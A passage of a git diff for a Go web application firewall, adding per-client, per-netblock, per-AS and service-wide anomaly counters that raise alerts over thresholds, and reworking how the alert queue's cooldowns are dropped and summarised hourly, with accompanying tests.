anomaly counters: counts each request and its bytes + per client, per netblock around a client, per AS number, for the whole service + and per named netblock, in the buckets `internal/ratelimit` counts in, and + raises an `anomaly` alert for a count over its threshold. - `internal/state`: reads the state files at start, takes in an admin's edit of one while running, and writes them when they are due and at the stop. - `internal/requestlog`: the lines on stdout: the request log line and the @@ -1506,8 +1594,9 @@ GeoJS. Besides the Go standard library, `github.com/hashicorp/golang-lru/v2` keeps the table of clients to 20,000 and the GeoJS answers to 100,000, dropping the least -recently seen, and the banned netblocks in the order they were last seen, from -which the ledger picks the ban to drop past `SWWAF_MAX_BANS`, and +recently seen, the anomaly counters to 20,000, dropping the one counted least +recently, and the banned netblocks in the order they were last seen, from which +the ledger picks the ban to drop past `SWWAF_MAX_BANS`, and `github.com/prometheus/client_golang` keeps the metrics and serves them, and `github.com/fsnotify/fsnotify` tells `smallwebwaf` when a state file or a rule file is saved, or the lookup database replaced, and diff --git a/internal/alerts/alerts.go b/internal/alerts/alerts.go index 5ce532a..253a59d 100644 --- a/internal/alerts/alerts.go +++ b/internal/alerts/alerts.go @@ -1,5 +1,6 @@ -// Package alerts sends alerts on bans, on a source that fails and on a -// file with an error to each destination set: to the webhook +// Package alerts sends alerts on bans, on traffic over an anomaly +// threshold, on a source that fails and on a file with an error to each +// destination set: to the webhook // SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as the "Alert // webhook schema" section of SPEC.md describes, to the Slack incoming // webhook SWWAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the @@ -40,11 +41,12 @@ const ( // EventPermanentBan is a permanent ban smallwebwaf made, or a ban it // made permanent. EventPermanentBan = "permanent_ban" - // EventWAFBlock, EventAnomaly and EventReputationHit come with the - // Core Rule Set, the anomaly thresholds and the reputation sources; - // nothing raises them yet. + // EventAnomaly is a count of requests or bytes over an anomaly + // threshold. + EventAnomaly = "anomaly" + // EventWAFBlock and EventReputationHit come with the Core Rule Set and + // the reputation sources; nothing raises them yet. EventWAFBlock = "waf_block" - EventAnomaly = "anomaly" EventReputationHit = "reputation_hit" // EventSourceFailure is GeoJS failing or refusing smallwebwaf. EventSourceFailure = "source_failure" @@ -52,8 +54,11 @@ const ( // runs that does not parse, a replacement of the lookup database that // cannot be read, or a state file that cannot be written. EventFileError = "file_error" - // EventSummary is the summary of the alerts an hour held back past - // SWWAF_ALERT_MAX_PER_HOUR. SWWAF_ALERT_EVENTS does not name it. + // EventSummary is the summary sent as an hour ends: of the alerts held + // back in it past SWWAF_ALERT_MAX_PER_HOUR, and of the repeats held + // back by the cooldowns dropped as it ends, which no alert let through + // has given. It is sent with SWWAF_ALERT_MAX_PER_HOUR off too, for + // those repeats. SWWAF_ALERT_EVENTS does not name it. EventSummary = "summary" ) @@ -153,18 +158,22 @@ type Alert struct { ASName string `json:"as_name"` Country string `json:"country"` // Reason is a short sentence, and Detail what is particular to the - // event: for a file_error, its "file", and for a source_failure, its - // "source", which the cooldown tells repeats by. + // event: for a file_error, its "file", for a source_failure, its + // "source", and for an anomaly, its "scope", with the "asn" or the + // "name" of some scopes, which the cooldown tells repeats by. Reason string `json:"reason"` Detail map[string]any `json:"detail"` // SuppressedRepeats is how many repeats of the alert the cooldown - // held back since the last one let through. + // held back since the last one let through. For a summary, it is how + // many the cooldowns dropped as the hour ended had held back that no + // alert let through gave. SuppressedRepeats int `json:"suppressed_repeats"` } -// Cooldown is, for an event on a netblock, or about a file or a source, -// when the last alert let through was raised, and how many repeats the -// cooldown has held back since, as alerts.json holds it. +// Cooldown is, for an event on a netblock, about a file or a source, or +// for an anomaly in a scope, when the last alert let through was raised, +// and how many repeats the cooldown has held back since, as alerts.json +// holds it. // //nolint:tagliatelle // the state files use snake_case, as the request log does type Cooldown struct { @@ -172,6 +181,9 @@ type Cooldown struct { Netblock netip.Prefix `json:"netblock"` File string `json:"file,omitempty"` Source string `json:"source,omitempty"` + Scope string `json:"scope,omitempty"` + ASN string `json:"asn,omitempty"` + Name string `json:"name,omitempty"` Sent time.Time `json:"sent"` SuppressedRepeats int `json:"suppressed_repeats"` } @@ -214,7 +226,7 @@ type Queue struct { mu sync.Mutex // cooldowns are the alerts last let through, by event and netblock, - // file or source. + // file, source or scope. cooldowns map[cooldownKey]*Cooldown hour Hour @@ -248,21 +260,28 @@ type destination struct { } // cooldownKey is what makes an alert a repeat of another: the same event -// on the same netblock, and about the same file or source, as its detail -// names them. Each is empty for an alert without one. +// on the same netblock, and about the same file or source, or in the same +// scope with the same AS number or name, as its detail names them. Each +// is empty for an alert without one. type cooldownKey struct { event string netblock netip.Prefix file string source string + scope string + asn string + name string } // cooldownKeyOf returns what makes another alert a repeat of alert. func cooldownKeyOf(alert *Alert) cooldownKey { file, _ := alert.Detail["file"].(string) source, _ := alert.Detail["source"].(string) + scope, _ := alert.Detail["scope"].(string) + asn, _ := alert.Detail["asn"].(string) + name, _ := alert.Detail["name"].(string) - return cooldownKey{alert.Event, alert.Netblock, file, source} + return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name} } // New returns a Queue with no alert yet. @@ -295,14 +314,14 @@ func New(params Params) *Queue { // unless no destination is set or SWWAF_ALERT_EVENTS leaves its event // out. It gives alert the instance and the time. An alert that repeats // the last one let through less than Cooldown before is held back and -// counted, and the next one let through gives that count. Past MaxPerHour -// alerts let through in the hour under way, by the clock, an alert is -// held back for that hour's summary instead, which is sent once the hour -// has ended; it starts no cooldown, and the repeats held back before it -// are given by the next alert let through. Raise never waits: an alert -// let through joins the queue of each destination, from which Run sends -// it, and with queueSize alerts waiting for a destination, the oldest is -// dropped. +// counted. The next one let through gives that count, unless an hour of +// the clock ends first after the cooldown has run out: the cooldown is +// then dropped, and that hour's summary gives the count. Past MaxPerHour +// alerts let through in the hour under way, an alert is held back for +// that hour's summary instead, which is sent once the hour has ended; it +// starts no cooldown. Raise never waits: an alert let through joins the +// queue of each destination, from which Run sends it, and with queueSize +// alerts waiting for a destination, the oldest is dropped. func (q *Queue) Raise(alert Alert) { if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) { return @@ -425,7 +444,8 @@ func (q *Queue) Suppressed() int64 { } // Snapshot returns the queue's state, as alerts.json holds it, with the -// cooldowns sorted by netblock, then by event, file and source. +// cooldowns sorted by netblock, then by event, file, source, scope, AS +// number and name. func (q *Queue) Snapshot() State { q.mu.Lock() defer q.mu.Unlock() @@ -443,7 +463,9 @@ func (q *Queue) Snapshot() State { slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int { return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event), - cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source)) + cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source), + cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN), + cmp.Compare(a.Name, b.Name)) }) for _, d := range q.destinations { @@ -466,7 +488,10 @@ func (q *Queue) Load(state State) { for _, cooldown := range state.Cooldowns { cooldown.Netblock = cooldown.Netblock.Masked() - key := cooldownKey{cooldown.Event, cooldown.Netblock, cooldown.File, cooldown.Source} + key := cooldownKey{ + cooldown.Event, cooldown.Netblock, cooldown.File, cooldown.Source, + cooldown.Scope, cooldown.ASN, cooldown.Name, + } q.cooldowns[key] = &cooldown } @@ -538,46 +563,64 @@ func (q *Queue) startCooldown(alert *Alert, now time.Time) { q.cooldowns[key] = &Cooldown{ Event: alert.Event, Netblock: alert.Netblock, File: key.file, Source: key.source, - Sent: now, + Scope: key.scope, ASN: key.asn, Name: key.name, Sent: now, } } -// endHour ends the hour under way, if now is past it: it queues that -// hour's summary when alerts were held back in it past MaxPerHour, and -// forgets the cooldowns that have run out with no repeat held back, which -// no alert needs any more. +// endHour ends the hour under way, if now is past it. It drops the +// cooldowns that have run out, whatever repeats they held back, so that +// they do not pile up, and queues that hour's summary when alerts were +// held back in it past MaxPerHour, or when a cooldown dropped had held +// back repeats, which no alert let through has given: the summary gives +// them. func (q *Queue) endHour(now time.Time) { start := now.Truncate(time.Hour) if !start.After(q.hour.Start) { return } + repeats := 0 + + for key, cooldown := range q.cooldowns { + if now.Sub(cooldown.Sent) >= q.params.Cooldown { + repeats += cooldown.SuppressedRepeats + + delete(q.cooldowns, key) + } + } + heldBack := 0 for _, count := range q.hour.HeldBack { heldBack += count } + var reasons []string + if heldBack > 0 { + reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+ + "past the %d an hour SWWAF_ALERT_MAX_PER_HOUR allows", heldBack, + q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour)) + } + + if repeats > 0 { + reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+ + "SWWAF_ALERT_COOLDOWN that no later alert gives", repeats)) + } + + if len(reasons) > 0 { q.queue(&Alert{ Instance: q.params.Instance, Time: now, Event: EventSummary, - Reason: fmt.Sprintf("%d alerts held back in the hour from %s, past the %d "+ - "an hour SWWAF_ALERT_MAX_PER_HOUR allows", heldBack, - q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour), + Reason: strings.Join(reasons, "; "), Detail: map[string]any{ "hour": q.hour.Start, "count": heldBack, "events": q.hour.HeldBack, }, + SuppressedRepeats: repeats, }) } q.hour = Hour{Start: start, HeldBack: map[string]int{}} - - for key, cooldown := range q.cooldowns { - if now.Sub(cooldown.Sent) >= q.params.Cooldown && cooldown.SuppressedRepeats == 0 { - delete(q.cooldowns, key) - } - } } // queue adds alert to the alerts waiting for each destination. diff --git a/internal/alerts/alerts_test.go b/internal/alerts/alerts_test.go index 01a23d0..81d8b95 100644 --- a/internal/alerts/alerts_test.go +++ b/internal/alerts/alerts_test.go @@ -381,7 +381,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) { }) } -func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheNextSent(t *testing.T) { +func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -401,8 +401,8 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheNextSent(t *testing. time.Sleep(cooldown) raise() - // The next hour's first alert gives the two repeats, and the summary - // the alert past the limit. + // The summary gives the alert past the limit and the two repeats, + // and the next hour's first alert none. time.Sleep(time.Hour - cooldown) synctest.Wait() raise() @@ -413,11 +413,14 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheNextSent(t *testing. got := webhook.received() if len(got) == 3 { detail, _ := got[1].alert["detail"].(map[string]any) - repeats := got[2].alert["suppressed_repeats"] + summaryRepeats := got[1].alert["suppressed_repeats"] + lastRepeats := got[2].alert["suppressed_repeats"] - if detail["count"] != float64(1) || repeats != float64(2) { - t.Errorf("the summary counts %v alerts, and the last alert gives %v "+ - "repeats, want 1 and 2", detail["count"], repeats) + if detail["count"] != float64(1) || summaryRepeats != float64(2) || + lastRepeats != float64(0) { + t.Errorf("the summary counts %v alerts and %v repeats, and the last "+ + "alert gives %v repeats, want 1, 2 and 0", detail["count"], + summaryRepeats, lastRepeats) } } @@ -425,6 +428,70 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheNextSent(t *testing. }) } +func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) { + t.Parallel() + + for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} { + t.Run(name, func(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := newParams() + params.MaxPerHour = maxPerHour + webhook, q := start(t, params) + + // For four hours, a netblock of its own each minute is over an + // anomaly threshold twice: an alert, and a repeat the cooldown + // holds back. + netblocks := 0 + + for range 4 { + for range 60 { + anomaly := alerts.Alert{ + Event: alerts.EventAnomaly, Netblock: netblock(netblocks), + Detail: map[string]any{"scope": "net"}, + } + q.Raise(anomaly) + q.Raise(anomaly) + + netblocks++ + + time.Sleep(time.Minute) + } + + // As the hour ends, only the cooldowns started less than the + // cooldown before are kept, in memory and for alerts.json. + synctest.Wait() + + kept := len(q.Snapshot().Cooldowns) + if kept > int(cooldown/time.Minute) { + t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d", + netblocks, kept, int(cooldown/time.Minute)) + } + } + + // An hour on, every cooldown has been dropped, and the summaries + // have given every repeat. + time.Sleep(time.Hour) + synctest.Wait() + + repeats := 0.0 + + for _, request := range webhook.received() { + count, _ := request.alert["suppressed_repeats"].(float64) + repeats += count + } + + kept := len(q.Snapshot().Cooldowns) + if kept != 0 || repeats != float64(netblocks) { + t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+ + "want 0 and %d", kept, repeats, netblocks) + } + }) + }) + } +} + func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) { t.Parallel() @@ -635,7 +702,8 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) { after.Load(roundTrip(t, before.Snapshot())) // The new queue sends the alert waiting, holds back the repeat as - // the cooldown still runs, and sends the summary of the hour. + // the cooldown still runs, and sends the summary of the hour, which + // gives both repeats, as the cooldown has run out. after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) synctest.Wait() wantEvents(t, webhook, alerts.EventBan) @@ -644,18 +712,12 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) { synctest.Wait() wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary) - detail, _ := webhook.received()[1].alert["detail"].(map[string]any) - if detail["count"] != float64(1) { - t.Errorf("the summary counts %v alerts, want 1", detail["count"]) - } + summary := webhook.received()[1].alert + detail, _ := summary["detail"].(map[string]any) - // The cooldown has run out, and the next one gives both repeats. - after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) - synctest.Wait() - - got := webhook.received() - if repeats := got[len(got)-1].alert["suppressed_repeats"]; repeats != float64(2) { - t.Errorf("the last alert gives %v repeats, want 2", repeats) + if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) { + t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2", + detail["count"], summary["suppressed_repeats"]) } }) } @@ -701,8 +763,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) { ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"} // The hour's one alert, a repeat of it the cooldown holds back, and - // an alert past the limit; once the hour has ended, its summary, and - // the next alert, which gives the repeat. + // an alert past the limit; once the hour has ended, its summary, + // which gives the repeat, and the next alert, which gives none. q.Raise(ban) q.Raise(ban) q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"}) @@ -720,14 +782,14 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) { } const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " + - "past the 1 an hour SWWAF_ALERT_MAX_PER_HOUR allows" + "past the 1 an hour SWWAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " + + "by SWWAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1" wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary) wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary) - wantSlackMessage(t, slack[2], - "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32\nsuppressed repeats: 1") + wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32") wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry", - "a ban\nnetblock: 203.0.113.1/32\nsuppressed repeats: 1") + "a ban\nnetblock: 203.0.113.1/32") }) } diff --git a/internal/anomaly/anomaly.go b/internal/anomaly/anomaly.go new file mode 100644 index 0000000..de54cfb --- /dev/null +++ b/internal/anomaly/anomaly.go @@ -0,0 +1,406 @@ +// Package anomaly counts requests and bytes over a minute and an hour, per +// client, per surrounding netblock, per AS number, for the whole service +// and per named netblock, and raises an anomaly alert for a count over its +// threshold, as "Anomaly thresholds" under "Configuration surface" in +// SPEC.md describes. It refuses and bans nothing. At most 20,000 counters +// are kept, in memory, and written to alerts.json and read from it by the +// state package. +package anomaly + +import ( + "cmp" + "fmt" + "net/netip" + "slices" + "sync" + "time" + + "github.com/hashicorp/golang-lru/v2/simplelru" + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" +) + +// maxCounters is how many counters are kept. Past it, the counter counted +// least recently is dropped, and starts afresh if it is counted again. +const maxCounters = 20000 + +// The scopes, what a counter counts, as the settings, alerts.json and the +// alerts name them. +const ( + // ScopeClient is one client: an IPv4 address, or an IPv6 /64. + ScopeClient = "client" + // ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX + // or SWWAF_ANOMALY_NET_V6_PREFIX long. + ScopeNet = "net" + // ScopeASN is an AS number. + ScopeASN = "asn" + // ScopeTotal is the whole service. + ScopeTotal = "total" + // ScopeWatch is a named netblock of SWWAF_WATCH_NETS. + ScopeWatch = "watch" +) + +// Scopes returns every scope. +func Scopes() []string { + return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatch} +} + +// The windows a counter counts in, as the alerts name them. +const ( + minute = "minute" + hour = "hour" +) + +// Thresholds are the most requests and the most bytes a scope may have +// counted in a minute and in an hour before an alert is raised. Zero is +// off. +type Thresholds struct { + RequestsPerMinute int64 + RequestsPerHour int64 + BytesPerMinute int64 + BytesPerHour int64 +} + +// NamedNetblock is a netblock SWWAF_WATCH_NETS names. +type NamedNetblock struct { + Name string + Netblock netip.Prefix +} + +// Params are what New needs. +type Params struct { + // The thresholds of each scope: SWWAF_ANOMALY_CLIENT_*, + // SWWAF_ANOMALY_NET_*, SWWAF_ANOMALY_ASN_*, SWWAF_ANOMALY_TOTAL_* and + // SWWAF_WATCH_*. + Client, Net, ASN, Total, Watch Thresholds + // NetV4Prefix and NetV6Prefix are the lengths of the netblock around a + // client (SWWAF_ANOMALY_NET_V4_PREFIX and SWWAF_ANOMALY_NET_V6_PREFIX). + NetV4Prefix, NetV6Prefix int + // NamedNetblocks are SWWAF_WATCH_NETS. + NamedNetblocks []NamedNetblock + // Alerts receive the anomaly alerts. + Alerts *alerts.Queue +} + +// Counter is one scope's counts, as alerts.json holds them: the scope, +// with the netblock, the AS number or the name that tells it from the +// others in that scope, and its two buckets of requests and of bytes in +// the minute and in the hour. A bucket whose threshold is off counts +// nothing, and is left out. +// +//nolint:tagliatelle // the state files use snake_case, as the request log does +type Counter struct { + Scope string `json:"scope"` + Netblock netip.Prefix `json:"netblock,omitzero"` + ASN string `json:"asn,omitempty"` + Name string `json:"name,omitempty"` + Minute ratelimit.Buckets `json:"minute,omitzero"` + Hour ratelimit.Buckets `json:"hour,omitzero"` + MinuteBytes ratelimit.Buckets `json:"minute_bytes,omitzero"` + HourBytes ratelimit.Buckets `json:"hour_bytes,omitzero"` +} + +// Request is a request that has ended, as the counters count it. +type Request struct { + // Client is the client's address, and ClientGroup the client it is + // counted as: its IPv4 address, or its IPv6 /64. + Client netip.Addr + ClientGroup netip.Prefix + // ASN, ASName and Country are the client's as looked up, each "" when + // unknown. + ASN, ASName, Country string + // Bytes are the request's bytes, as SWWAF_BYTES_COUNT counts them. + Bytes int64 +} + +// Counters counts each request in the scopes it is in. It is safe for +// concurrent use. +type Counters struct { + params Params + + mu sync.Mutex + counters *simplelru.LRU[key, *Counter] +} + +// key is what tells a counter from the others: its scope, with its +// netblock, AS number or name. +type key struct { + scope string + netblock netip.Prefix + asn string + name string +} + +// New returns Counters for params, with nothing counted yet. +func New(params Params) *Counters { + counters, err := simplelru.NewLRU[key, *Counter](maxCounters, nil) + if err != nil { + panic(err) // NewLRU fails only for a size below one + } + + return &Counters{params: params, counters: counters} +} + +// Count counts r, a request that has ended, at now, in each scope it is +// in whose thresholds are not all off: its client, the netblock around +// it, its AS number once known, the whole service, and each named +// netblock it is in. Only the counts whose threshold is set are counted. +// For each scope whose count is over a threshold, it raises an anomaly +// alert, for the first such count in the order requests and bytes in the +// minute, then in the hour; the alert queue's cooldown holds back the +// repeats. Nothing is refused or banned. +func (c *Counters) Count(now time.Time, r Request) { + var raised []alerts.Alert + + c.mu.Lock() + + for _, scope := range c.scopesOf(r) { + counter, found := c.counters.Get(scope.key) + if !found { + counter = scope.key.counter() + c.counters.Add(scope.key, counter) + } + + over, passed := counter.add(now, r.Bytes, scope.thresholds) + if passed { + raised = append(raised, alertFor(r, scope.key, over)) + } + } + + c.mu.Unlock() + + for _, alert := range raised { + c.params.Alerts.Raise(alert) + } +} + +// Snapshot returns every counter, sorted by scope, then by netblock, AS +// number and name, as alerts.json lists them. +func (c *Counters) Snapshot() []Counter { + c.mu.Lock() + + counters := make([]Counter, 0, c.counters.Len()) + for _, counter := range c.counters.Values() { + counters = append(counters, *counter) + } + + c.mu.Unlock() + + slices.SortFunc(counters, func(a, b Counter) int { + return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock), + cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name)) + }) + + return counters +} + +// Load puts counters, read from alerts.json, in place of those held, in +// the order they were last counted, as the starts of their buckets tell, +// so that the one counted least recently is dropped first. Each netblock +// is masked to its length, so that 203.0.113.9/24 is 203.0.113.0/24. +// Buckets whose time has passed at now are emptied, and a counter left +// with every bucket empty is dropped. +func (c *Counters) Load(counters []Counter, now time.Time) { + counters = slices.Clone(counters) + slices.SortStableFunc(counters, func(a, b Counter) int { + return a.lastStart().Compare(b.lastStart()) + }) + + c.mu.Lock() + defer c.mu.Unlock() + + c.counters.Purge() + + for _, counter := range counters { + counter.Netblock = counter.Netblock.Masked() + empty := true + + for _, count := range counter.counts() { + if count.buckets.Passed(now, count.length) { + *count.buckets = ratelimit.Buckets{} + } + + empty = empty && *count.buckets == ratelimit.Buckets{} + } + + if !empty { + c.counters.Add(counter.key(), &counter) + } + } +} + +// scope is a scope a request is counted in, and its thresholds. +type scope struct { + key key + thresholds Thresholds +} + +// scopesOf returns the scopes r is in whose thresholds are not all off. +func (c *Counters) scopesOf(r Request) []scope { + p := c.params + client := r.Client.Unmap() + + all := []scope{ + {key{scope: ScopeClient, netblock: r.ClientGroup}, p.Client}, + {key{scope: ScopeNet, netblock: c.netAround(client)}, p.Net}, + {key{scope: ScopeTotal}, p.Total}, + } + + if r.ASN != "" { + all = append(all, scope{key{scope: ScopeASN, asn: r.ASN}, p.ASN}) + } + + for _, named := range p.NamedNetblocks { + if named.Netblock.Contains(client) { + all = append(all, scope{ + key{scope: ScopeWatch, netblock: named.Netblock, name: named.Name}, p.Watch, + }) + } + } + + return slices.DeleteFunc(all, func(s scope) bool { + return s.thresholds == Thresholds{} + }) +} + +// netAround returns the netblock around client that ScopeNet counts it +// in: NetV4Prefix or NetV6Prefix long. +func (c *Counters) netAround(client netip.Addr) netip.Prefix { + length := c.params.NetV6Prefix + if client.Is4() { + length = c.params.NetV4Prefix + } + + return netip.PrefixFrom(client, length).Masked() +} + +// overThreshold is a count over its threshold: what it counts, requests or +// bytes, its window, the count and the threshold. +type overThreshold struct { + kind, window string + count float64 + threshold int64 +} + +// add counts a request of bytes at now in each of c's counts whose +// threshold, in thresholds, is set, and returns the first count over its +// threshold, and whether there is one. +func (c *Counter) add( + now time.Time, bytes int64, thresholds Thresholds, +) (overThreshold, bool) { + // In the order of counts. + inOrder := [4]int64{ + thresholds.RequestsPerMinute, thresholds.BytesPerMinute, + thresholds.RequestsPerHour, thresholds.BytesPerHour, + } + + var ( + first overThreshold + passed bool + ) + + for i, count := range c.counts() { + threshold := inOrder[i] + if threshold == 0 { + continue + } + + n := int64(1) + if count.kind == ratelimit.KindBytes { + n = bytes + } + + counted := count.buckets.Add(now, count.length, n) + if !passed && counted > float64(threshold) { + first = overThreshold{count.kind, count.window, counted, threshold} + passed = true + } + } + + return first, passed +} + +// bucketCount is one of a counter's four counts: requests or bytes, in a +// window of length, and the buckets they are counted in. +type bucketCount struct { + kind, window string + length time.Duration + buckets *ratelimit.Buckets +} + +// counts returns c's counts: requests and bytes in the minute, then in +// the hour. +func (c *Counter) counts() [4]bucketCount { + return [4]bucketCount{ + {ratelimit.KindRequests, minute, time.Minute, &c.Minute}, + {ratelimit.KindBytes, minute, time.Minute, &c.MinuteBytes}, + {ratelimit.KindRequests, hour, time.Hour, &c.Hour}, + {ratelimit.KindBytes, hour, time.Hour, &c.HourBytes}, + } +} + +// lastStart returns the start of c's latest bucket, which tells, to the +// minute or to the hour, when c was last counted. +func (c *Counter) lastStart() time.Time { + var latest time.Time + + for _, count := range c.counts() { + if count.buckets.Start.After(latest) { + latest = count.buckets.Start + } + } + + return latest +} + +// key returns what tells c from the other counters. +func (c *Counter) key() key { + return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name} +} + +// counter returns a counter for k, with nothing counted yet. +func (k key) counter() *Counter { + return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name} +} + +// alertFor returns the anomaly alert for o, a count over its threshold in +// the scope k, which r took over it. It gives r's client, with its AS +// number, AS name and country, and the netblock counted, of a client, the +// netblock around it or a named netblock. Its detail gives the scope, the +// AS number or the name of a scope that has one, the window, what is +// counted, the count and the threshold. +func alertFor(r Request, k key, o overThreshold) alerts.Alert { + detail := map[string]any{ + "scope": k.scope, "window": o.window, "kind": o.kind, "count": o.count, + "threshold": o.threshold, + } + + var counted string + + switch k.scope { + case ScopeClient: + counted = "the client " + k.netblock.String() + case ScopeNet: + counted = "the netblock " + k.netblock.String() + case ScopeASN: + counted = k.asn + detail["asn"] = k.asn + case ScopeTotal: + counted = "the whole service" + default: // watch + counted = "the named netblock " + k.name + ", " + k.netblock.String() + detail["name"] = k.name + } + + return alerts.Alert{ + Event: alerts.EventAnomaly, + Client: r.Client, + Netblock: k.netblock, + ASN: r.ASN, + ASName: r.ASName, + Country: r.Country, + Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window, + counted, o.threshold), + Detail: detail, + } +} diff --git a/internal/anomaly/anomaly_test.go b/internal/anomaly/anomaly_test.go new file mode 100644 index 0000000..ddb71ae --- /dev/null +++ b/internal/anomaly/anomaly_test.go @@ -0,0 +1,238 @@ +package anomaly_test + +import ( + "encoding/json" + "fmt" + "net/netip" + "net/url" + "reflect" + "slices" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/anomaly" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" +) + +// maxCounters is how many counters are kept. +const maxCounters = 20000 + +func TestEachScopeHasACooldownOfItsOwn(t *testing.T) { + t.Parallel() + + queue := newQueue() + office := netip.MustParsePrefix("203.0.113.0/24") + overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1} + counters := anomaly.New(anomaly.Params{ + Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond, + Total: overAtTheSecond, Watch: overAtTheSecond, + // The netblock around a client is the client's own, and two names + // name one netblock. + NetV4Prefix: 32, + NamedNetblocks: []anomaly.NamedNetblock{ + {Name: "office", Netblock: office}, {Name: "hq", Netblock: office}, + }, + Alerts: queue, + }) + + // The first client's second request is over the threshold in the six + // scopes it is in. The other client's two are both over it in the whole + // service and in each named netblock, three repeats each, and its + // second is over it in the scopes of its own, its client, its netblock + // and its AS number, which are no repeats. + for _, r := range []anomaly.Request{ + {Client: netip.MustParseAddr("203.0.113.9"), ASN: "AS64496"}, + {Client: netip.MustParseAddr("203.0.113.10"), ASN: "AS64511"}, + } { + r.ClientGroup = netip.PrefixFrom(r.Client, 32) + + for range 2 { + counters.Count(midnight(), r) + } + } + + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 9 || queue.Suppressed() != 6 { + t.Fatalf("%d alerts wait and %d are held back, want 9 and 6: %+v", + len(waiting), queue.Suppressed(), waiting) + } + + // alerts.json keeps each scope's cooldown: each alert raised again + // after a restart is a repeat. + data, err := json.Marshal(queue.Snapshot()) + if err != nil { + t.Fatalf("encode: %v", err) + } + + var read alerts.State + + err = json.Unmarshal(data, &read) + if err != nil { + t.Fatalf("decode: %v", err) + } + + after := newQueue() + after.Load(read) + + for _, alert := range read.Waiting[alerts.DestinationWebhook] { + after.Raise(alert) + } + + if after.Suppressed() != 9 { + t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed()) + } +} + +func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) { + t.Parallel() + + counters := newCounters(anomaly.Params{ + Client: anomaly.Thresholds{RequestsPerMinute: 1000}, + }) + + for i := range maxCounters { + counters.Count(midnight(), request(i)) + } + + // Counted again, the first client is the most recently counted, and + // the second is dropped for a new one. + counters.Count(midnight(), request(0)) + counters.Count(midnight(), request(maxCounters)) + + got := counters.Snapshot() + if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) || + !holds(got, maxCounters) { + t.Errorf("%d counters, holding the first client %v, the second %v and the "+ + "new one %v, want %d, the first and the new one", len(got), holds(got, 0), + holds(got, 1), holds(got, maxCounters), maxCounters) + } +} + +func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) { + t.Parallel() + + counters := newCounters(anomaly.Params{ + Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000}, + Total: anomaly.Thresholds{RequestsPerMinute: 1000}, + NetV4Prefix: 24, + }) + halfAnHourOn := midnight().Add(30 * time.Minute) + + // Half an hour on, the hour's buckets count still, and the minute's + // do not. + counters.Load([]anomaly.Counter{ + { + Scope: anomaly.ScopeNet, + Netblock: netip.MustParsePrefix("203.0.113.9/24"), + Minute: 